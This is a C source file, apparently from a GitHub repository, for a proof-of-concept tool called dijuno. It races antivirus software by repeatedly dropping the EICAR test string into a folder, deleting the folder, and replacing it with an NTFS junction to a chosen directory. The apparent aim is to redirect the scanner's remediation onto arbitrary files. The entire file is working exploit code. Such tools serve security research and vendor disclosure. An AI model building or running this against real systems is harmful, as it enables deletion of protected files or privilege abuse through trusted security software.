-
Notifications
You must be signed in to change notification settings - Fork 6
/
dijuno.c
358 lines (298 loc) · 10.9 KB
/
dijuno.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
#include "dijuno.h"
//
// ref: https://processhacker.sourceforge.io/doc/ntrtl_8h_source.html#l02967
//
typedef struct _RTLP_CURDIR_REF* PRTLP_CURDIR_REF;
typedef struct _RTL_RELATIVE_NAME_U {
UNICODE_STRING RelativeName;
HANDLE ContainingDirectory;
PRTLP_CURDIR_REF CurDirRef;
} RTL_RELATIVE_NAME_U, *PRTL_RELATIVE_NAME_U;
//
// ref: https://github.com/mirror/reactos/blob/master/rostests/apitests/ntdll/RtlDosPathNameToNtPathName_U.c#L77
//
typedef BOOLEAN(__stdcall* RtlDosPathNameToNtPathName_U_t)(PCWSTR, PUNICODE_STRING, PCWSTR*, PRTL_RELATIVE_NAME_U);
typedef struct _IO_STATUS_BLOCK
{
union
{
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef struct _NtfsJunction {
DWORD Id;
DWORD LengthMin8;
USHORT Reserved;
USHORT Length;
USHORT MaximumLength;
USHORT Length2;
WCHAR Buffer[1];
} NTFS_JUNCTION, *PNTFS_JUNCTION;
typedef struct _RunnerArgs {
PWSTR JunctionPath;
PCWSTR SrcPath;
PCWSTR FilePath;
} RUNNER_ARGS, *PRUNNER_ARGS;
typedef VOID(*IO_APC_ROUTINE)(PVOID, PIO_STATUS_BLOCK, ULONG);
typedef INT(*NTFSCONTROLFILE)(
HANDLE FileHandle,
HANDLE Event,
IO_APC_ROUTINE ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG FsControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength);
RtlDosPathNameToNtPathName_U_t RtlDosPathNameToNtPathName_U;
NTFSCONTROLFILE NtfsControlFile;
CRITICAL_SECTION g_RunLock;
BOOL g_Stop;
PVOID GetBuffer(SIZE_T Bytes)
{
return HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Bytes);
}
BOOL FreeBuffer(PWSTR Buffer)
{
assert(Buffer != NULL);
return HeapFree(GetProcessHeap(), 0, Buffer);
}
//
// DoubleNull - additional memory for double-null ; required for SHFileOperationW
//
PWSTR GetFullPath(PCSTR Str, BOOL DoubleNull)
{
PWSTR pwStr = NULL;
PWSTR pwFullPath = NULL;
PWSTR pwFilePart = NULL;
DWORD dwLen;
DWORD dwPaddLen;
assert(Str != NULL);
dwPaddLen = DoubleNull ? 2 : 1;
pwStr = (PWSTR)GetBuffer(sizeof(WCHAR) * (strlen(Str) + dwPaddLen));
if (NULL == pwStr) {
fwprintf(stderr, L"Failed allocating buffer for conversion\n");
return NULL;
}
if (MultiByteToWideChar(CP_OEMCP, MB_ERR_INVALID_CHARS, Str, (INT)strlen(Str), pwStr, (INT)strlen(Str)) == 0) {
fwprintf(stderr, L"Conversion failed: %08X\n", GetLastError());
clean:
FreeBuffer(pwStr);
return pwFullPath;
}
dwLen = GetFullPathName(pwStr, 0, 0, &pwFilePart);
if (dwLen) {
pwFullPath = (PWSTR)GetBuffer(sizeof(WCHAR) * (SIZE_T)dwLen);
if (NULL == pwFullPath) {
fwprintf(stderr, L"Failed allocating buffer for full path\n");
goto clean;
} else {
if (!GetFullPathName(pwStr, dwLen, pwFullPath, &pwFilePart)) {
fwprintf(stderr, L"Failed obtaining full path: %08X\n", GetLastError());
FreeBuffer(pwFullPath);
pwFullPath = NULL;
}
goto clean;
}
} else {
fwprintf(stderr, L"Failed obtaining length of buffer for full path\n");
goto clean;
}
}
BOOL CreateJunction(PCWSTR JunctionPath, PCWSTR SrcPath)
{
PVOID pwBuffer = NULL;
UNICODE_STRING NtPathName;
HANDLE hFile;
PNTFS_JUNCTION pNtfsJunction = NULL;
INT NtStatus;
IO_STATUS_BLOCK IoStatusBlock = { 0 };
DWORD dwLength;
BOOL bRetStatus = FALSE;
//
// as done in cmd.exe - MakeJunction function
//
if (CreateDirectory(JunctionPath, 0)) {
hFile = CreateFile(JunctionPath, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
RtlDosPathNameToNtPathName_U(SrcPath, &NtPathName, NULL, NULL);
dwLength = (DWORD)(NtPathName.Length + sizeof(WCHAR) * (wcslen(SrcPath) + 10));
pwBuffer = GetBuffer(dwLength);
if (pwBuffer != NULL) {
pNtfsJunction = (PNTFS_JUNCTION)pwBuffer;
pNtfsJunction->Id = 0xA0000003;
pNtfsJunction->LengthMin8 = dwLength - 8;
pNtfsJunction->Reserved = 0;
pNtfsJunction->Length = NtPathName.Length;
memcpy(pNtfsJunction->Buffer, NtPathName.Buffer, NtPathName.Length);
pNtfsJunction->MaximumLength = pNtfsJunction->Length + sizeof(WCHAR);
pNtfsJunction->Length2 = (USHORT)(sizeof(WCHAR) * wcslen(SrcPath));
memcpy((PBYTE)pNtfsJunction->Buffer + pNtfsJunction->Length + sizeof(WCHAR),
SrcPath,
pNtfsJunction->Length2);
NtStatus = NtfsControlFile(hFile,
NULL,
NULL,
NULL,
&IoStatusBlock,
0x900A4,
pwBuffer,
dwLength,
NULL,
0);
bRetStatus = NtStatus == 0;
//fwprintf(stdout, L"Status: %08X\n", NtStatus);
FreeBuffer(pwBuffer);
} else {
fwprintf(stderr, L"Failed allocating NTFS buffer\n");
}
CloseHandle(hFile);
}
} else {
fwprintf(stderr, L"Failed creating junction directory\n");
}
return bRetStatus;
}
VOID Run(PVOID Args)
{
PCSTR szEicar = "X5O!P%@AP[4\\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
HANDLE hFile;
DWORD dwNumBytes;
PRUNNER_ARGS pArgs = (PRUNNER_ARGS)Args;
BOOL bStop = FALSE;
SHFILEOPSTRUCTW Shfo = { 0 };
SIZE_T i;
pArgs->JunctionPath[wcslen(pArgs->JunctionPath) + 1] = L'\0';
Shfo.hwnd = NULL;
Shfo.wFunc = FO_DELETE;
Shfo.pFrom = pArgs->JunctionPath;
Shfo.pTo = NULL;
Shfo.fFlags = FOF_NO_UI;
Shfo.hNameMappings = NULL;
Shfo.lpszProgressTitle = NULL;
loop:
i = 0;
while (i < 200) {
//
// ignore return values
//
SHFileOperationW(&Shfo);
CreateDirectory(pArgs->JunctionPath, 0);
hFile = CreateFile(pArgs->FilePath,
GENERIC_WRITE,
FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
assert(hFile != INVALID_HANDLE_VALUE);
WriteFile(hFile, szEicar, (DWORD)strlen(szEicar), &dwNumBytes, NULL);
CloseHandle(hFile);
SHFileOperationW(&Shfo);
CreateJunction(pArgs->JunctionPath, pArgs->SrcPath);
i++;
}
EnterCriticalSection(&g_RunLock);
bStop = g_Stop;
LeaveCriticalSection(&g_RunLock);
if (bStop) {
fwprintf(stdout, L"Thread stopping.\n");
} else {
goto loop;
}
}
BOOL Init(VOID)
{
InitializeCriticalSection(&g_RunLock);
RtlDosPathNameToNtPathName_U = (RtlDosPathNameToNtPathName_U_t)
GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlDosPathNameToNtPathName_U");
NtfsControlFile = (NTFSCONTROLFILE)
GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtFsControlFile");
if (RtlDosPathNameToNtPathName_U && NtfsControlFile) {
return TRUE;
} else {
return FALSE;
}
}
int main(int argc, char** argv)
{
PWSTR pwJunctionPath = NULL;
PWSTR pwSrcPath = NULL;
PWSTR pwFileName = NULL;
PWSTR pwFilePath = NULL;
SIZE_T dwLen;
HANDLE hRunner;
DWORD dwThreadId;
RUNNER_ARGS Args = { 0 };
if (argc < 4) {
fwprintf(stderr, L"USAGE: %S <junction_path> <source_dir_path> <file_name>\n", argv[0]);
return EXIT_FAILURE;
}
if (!Init()) {
fwprintf(stderr, L"Init failed\n");
return EXIT_FAILURE;
}
pwJunctionPath = GetFullPath(argv[1], TRUE);
if (NULL == pwJunctionPath) {
return EXIT_FAILURE;
}
pwSrcPath = GetFullPath(argv[2], FALSE);
if (NULL == pwSrcPath) {
FreeBuffer(pwJunctionPath);
return EXIT_FAILURE;
}
pwFileName = (PWSTR)GetBuffer(sizeof(WCHAR) * (strlen(argv[3]) + 1));
if (NULL == pwFileName) {
fwprintf(stderr, L"Failed allocating buffer for file name conversion\n");
FreeBuffer(pwJunctionPath);
return EXIT_FAILURE;
}
if (MultiByteToWideChar(CP_OEMCP, MB_ERR_INVALID_CHARS, argv[3], (INT)strlen(argv[3]), pwFileName, (INT)strlen(argv[3])) == 0) {
fwprintf(stderr, L"File name conversion failed: %08X\n", GetLastError());
FreeBuffer(pwJunctionPath);
FreeBuffer(pwFileName);
return EXIT_FAILURE;
}
dwLen = sizeof(WCHAR) * (wcslen(pwJunctionPath) + 1 + wcslen(pwFileName));
pwFilePath = (PWSTR)GetBuffer(dwLen + sizeof(WCHAR));
if (NULL == pwFilePath) {
fwprintf(stderr, L"Failed allocating buffer for file path concatenation\n");
FreeBuffer(pwJunctionPath);
FreeBuffer(pwFileName);
return EXIT_FAILURE;
}
//
// ignore return values
//
wmemcpy(pwFilePath, pwJunctionPath, wcslen(pwJunctionPath));
wcsncat_s(pwFilePath, dwLen, L"\\", 1);
wcsncat_s(pwFilePath, dwLen, pwFileName, wcslen(pwFileName));
fwprintf(stdout, L"Junction path: %ls\n", pwJunctionPath);
fwprintf(stdout, L"Source directory path: %ls\n", pwSrcPath);
fwprintf(stdout, L"File name path: %ls\n\n", pwFilePath);
Args.JunctionPath = pwJunctionPath;
Args.SrcPath = pwSrcPath;
Args.FilePath = pwFilePath;
hRunner = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Run, (PVOID)&Args, 0, &dwThreadId);
if (SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS)) {
if (SetThreadPriority(hRunner, THREAD_PRIORITY_TIME_CRITICAL)) {
fwprintf(stdout, L"Thread priority was successfully updated to THREAD_PRIORITY_TIME_CRITICAL\n");
}
}
fwprintf(stdout, L"Thread %lu is running. Press Enter to stop...\n", dwThreadId);
getchar();
fwprintf(stdout, L"Waiting for worker thread to exit.\n");
EnterCriticalSection(&g_RunLock);
g_Stop = TRUE;
LeaveCriticalSection(&g_RunLock);
WaitForSingleObject(hRunner, INFINITE);
fwprintf(stdout, L"Done!\n");
FreeBuffer(pwJunctionPath);
FreeBuffer(pwSrcPath);
FreeBuffer(pwFileName);
FreeBuffer(pwFilePath);
return EXIT_SUCCESS;
}